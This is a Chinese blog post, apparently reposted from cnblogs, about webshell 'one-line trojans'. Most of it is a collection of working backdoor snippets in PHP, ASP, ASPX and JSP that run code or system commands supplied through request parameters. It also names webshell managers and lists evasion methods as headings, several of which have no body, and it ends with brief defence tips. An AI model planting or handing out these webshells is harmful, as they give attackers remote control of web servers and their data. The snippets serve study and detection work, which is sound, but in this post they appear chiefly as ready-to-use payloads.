系统相关
首页 > 系统相关> > Webshell 一句话木马

Webshell 一句话木马

作者:互联网

Webshell介绍

什么是 WebShell

Webshell分类

一句话木马的执行过程

PHP中常见的代码执行函数

PHP Webshell

各个版本php支持函数如下

常用PHP函数版本Webshell

**// eval()函数** 
<?php eval($_REQUEST["cmd"]);?>

**// assert()函数** 
<?php assert($_REQUEST["cmd"]);?>

**// preg_replace()函数** 
<?php @preg_replace("/abc/e",$_REQUEST['cmd'],"abc");?>

**// create_function()函数** 
<?php
  $func = create_function('',$_REQUEST['cmd']);
  $func();
?>

**// array_map()函数** 
<?php
 //func=system&cmd=ipconfig
 $func=$_REQUEST['func'];
 $cmd=$_REQUEST['cmd'];
 $array[0]=$cmd;
 $new_array=array_map($func,$array);
?>

**// array_filter函数** 
<?php
 //func=system&cmd=whoami
 $cmd=$_REQUEST['cmd'];
 $array1=array($cmd);
 $func=$_REQUEST['func'];
 array_filter($array1,$func);
?>

PHP 4种标记风格

php和其他几种web语言一样,都是使用一对标记将php代码部分包含起来,以便和html代码相区分,php一共4中标记风格

  1. xml风格(标准风格推荐使用)
<?php
  echo "这是xml风格的标记"; 
?>  
  1. 脚本风格
<script languange="php"> 
  echo'这是脚本风格的标记';  
</script>  
  1. 短标签风格
<? 这是简短风格的标记; ?> 

注:需要在php.ini配置文件中开启short _open_tag=On ,默认关闭

  1. asp风格
<%  
  echo '这是asp风格的标记';  
%>  

注:需要在 php.ini 配置文件中开启 asp_tags = On ,默认关闭

其他语言 Webshell

asp语言Webshell

// 菜刀可以连接的 Webshell
<%eval request("cmd")%>
<%execute request("cmd")%>
<%execute(request("cmd"))%>
<%executeGlobal request("cmd")%>
<%eval(Request(chr(35)))%> # ASCII码值

// 可以执行系统命令的 WebShell
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd").stdout.readall%>

aspx语言Webshell

<%@ Page Language="Jscript"%>
<%eval(Request.ltem["pass"],"unsafe");%>

<%@ Page Language="Jscript" validateRequest="false" %>
<%Response.Write(eval(Request.ltem["pass"],"unsafe"));%>

jsp语言Webshell

// 执行系统命令且有回显
<% if("023".equals(request.getParameter("pwd"))){java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[]b= new byte[2048];
out.print("<pre>");
  while((a=in.read(b))!=-1){
    out.println(new String(b,0,a));
  }out.print("</pre>");
}%>

Webshell管理工具

攻击者在入侵网站时,通常要通过各种方式写入 Webshell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件等操作

蚁剑 (AntSword)

C刀 (Knife)

冰蝎 (Behinder)

Webshell变形

变形目的

变形方法

  1. 利用str_replace() 函数

  1. 利用base64_decode() 函数

  1. 利用"."操作符

  1. 更换数据来源

  1. 替代标签

  1. 字符串组合法隐藏关键字

  1. 其他变形

Webshell变形总结

绕过技巧

  1. 更换执行数据来源

  2. 字符替换 或者编码

  3. 采取隐匿 手段

WebShell防御技巧

  1. 使用和及时更新防护类工具或产品

  2. 对服务器的文件夹设置严格的读写权限

  3. 在服务器中禁用一些敏感的危险函数 ,如命令执行 system() 等函数

  4. 定期检查系统进程,查看是否有可疑的进程

  5. 根据文件的创建日期观察系统目录下是否有近期新建的可执行文件

标签:Webshell,php,函数,标记,一句,github,木马,PHP
来源: https://www.cnblogs.com/wuhongbin/p/15517966.html